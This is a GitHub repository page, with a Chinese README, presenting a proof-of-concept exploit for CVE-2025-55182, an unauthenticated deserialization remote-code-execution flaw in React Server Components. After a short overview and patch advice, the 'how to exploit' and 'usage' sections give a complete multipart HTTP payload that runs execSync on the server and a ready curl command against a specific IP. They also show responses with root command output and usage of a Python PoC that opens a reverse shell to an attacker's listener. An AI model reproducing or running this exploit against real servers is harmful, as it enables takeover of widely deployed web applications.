0xAshwesker/CVE-2025-55182

GitHub: 0xAshwesker/CVE-2025-55182

React Server Components严重反序列化RCE漏洞的PoC利用工具,支持命令执行和反弹Shell。

Stars: 0 | Forks: 0

# 🚨 CVE-2025-55182 — React2Shell ![hq720](https://static.pigsec.cn/wp-content/uploads/repos/2026/03/3d0d494234060613.jpg) ![严重性](https://img.shields.io/badge/Severity-Critical-red) ![CVSS](https://img.shields.io/badge/CVSS-10.0-darkred) ![类型](https://img.shields.io/badge/Type-RCE-black) ![状态](https://img.shields.io/badge/Exploited-Yes-orange) **CVE-2025-55182** 是一个影响 React Server Components (RSC) 的严重 **远程代码执行 (RCE)** 漏洞。
## 📌 概述 此漏洞允许 **未经身份验证的攻击者** 在受影响的服务器上执行任意代码。 该问题源于 React Server Component Server Function 端点中的 **不安全反序列化**。 验证不当允许特制请求执行恶意 Payload。 ## 🧨 影响 * 🌍 可通过网络利用 * 🔓 无需身份验证 * ⚡ 攻击复杂度低 * 💥 可能导致服务器完全沦陷 * 📈 CVSS 评分:**10.0(最高严重级别)** 由于基于 React 的框架被广泛部署,因此攻击面极大。 ## 📦 受影响的软件包 受影响的版本包括: ``` react-server-dom-webpack 19.0.0 – 19.2.0 react-server-dom-parcel 19.0.0 – 19.2.0 react-server-dom-turbopack 19.0.0 – 19.2.0 ``` 基于这些软件包构建的框架(例如,使用受影响版本的 Next.js 应用程序)也可能受到影响。 ## 🔎 技术根本原因 该缺陷由以下原因导致: * 对序列化输入的处理不安全 * 服务端反序列化发生在 **严格验证之前** * 缺乏足够的端点保护 这使攻击者能够构建在服务器上执行的恶意 Payload。 ## 🛠 修复方案 ### ✅ 紧急措施 * 升级到 **已修补的 React 版本(19.2.1 或更高版本)** * 重新构建并重新部署应用程序 * 审计暴露的 RSC 端点 * 监控日志中可疑的 POST 请求 ## 🧪 检测提示 查找以下内容: * 指向 RSC 端点的意外 POST 请求 * 可疑的序列化 Payload * 异常的服务端命令执行 ## 📚 总结 | 类别 | 值 | | -------------------- | -------------------- | | 漏洞 | 远程代码执行 (RCE) | | 需要身份验证 | ❌ 否 | | 攻击向量 | 🌐 网络 | | 严重程度 | 🔴 严重 | | 是否已被在野利用 | ⚠️ 是 | ## 如何利用 ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 740 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ``` **将返回:** ``` HTTP/1.1 500 Internal Server Error Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding Cache-Control: no-cache, no-store, max-age=0, must-revalidate x-nextjs-cache: HIT x-nextjs-prerender: 1 Content-Type: text/x-component Date: Fri, 05 Dec 2025 11:53:05 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 195 0:{"a":"$@1","f":"","b":"PAoMR732SpRI6Xw9cbfbD"} 1:E{"digest":"uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"} ``` CVE-2025-55182 2 CVE-2025-55182 3 CVE-2025-55182 4 ## 用法 ``` ┌──(kali㉿kali)-[~/Downloads] └─$ curl -i -X POST http://10.48.133.212:3000/ \ -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW" \ -H "Next-Action: x" \ -H "Next-Router-State-Tree: b5dce965" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" \ --data-binary $'------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\\"$B1337\\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'\').toString().trim();;;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`${res}`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--' HTTP/1.1 500 Internal Server Error Vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch, Accept-Encoding Cache-Control: no-cache, no-store, max-age=0, must-revalidate x-nextjs-cache: HIT x-nextjs-prerender: 1 Content-Type: text/x-component Date: Sat, 28 Feb 2026 10:19:04 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked 0:{"a":"$@1","f":"","b":"3WpzTMYEK9QGOeqIBQxrR"} 1:E{"digest":"287088506"} ``` CVE-2025-55182 5 CVE-2025-55182 6 ``` sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "whoami" ``` - 输出:`ubuntu`(或类似内容)。 ``` sudo python3 react2shell_poc.py http://10.48.133.212:3000 --cmd "id" ``` 用于反弹 Shell (Reverse Shell): - 监听器:`nc -lvnp 4444` - 运行:`sudo python3 react2shell_poc.py http://10.48.133.212:3000 --rev-shell --rev-ip YOUR_IP --rev-port 4444` - 它应该会回连;响应将在 digest 中显示 'shell_started'。 ## ⚠️ 最后提示 如果您的应用程序使用 React Server Components,**请立即修补**。 延误会显著增加暴露风险。
标签:0day, CISA项目, CVE-2025-55182, CVSS 10.0, Exploit, GNU通用公共许可证, JavaScript安全, MITM代理, Node.js, RCE, React2Shell, React Server Components, React框架, 不安全反序列化, 严重漏洞, 前端安全, 反序列化漏洞, 服务端安全, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护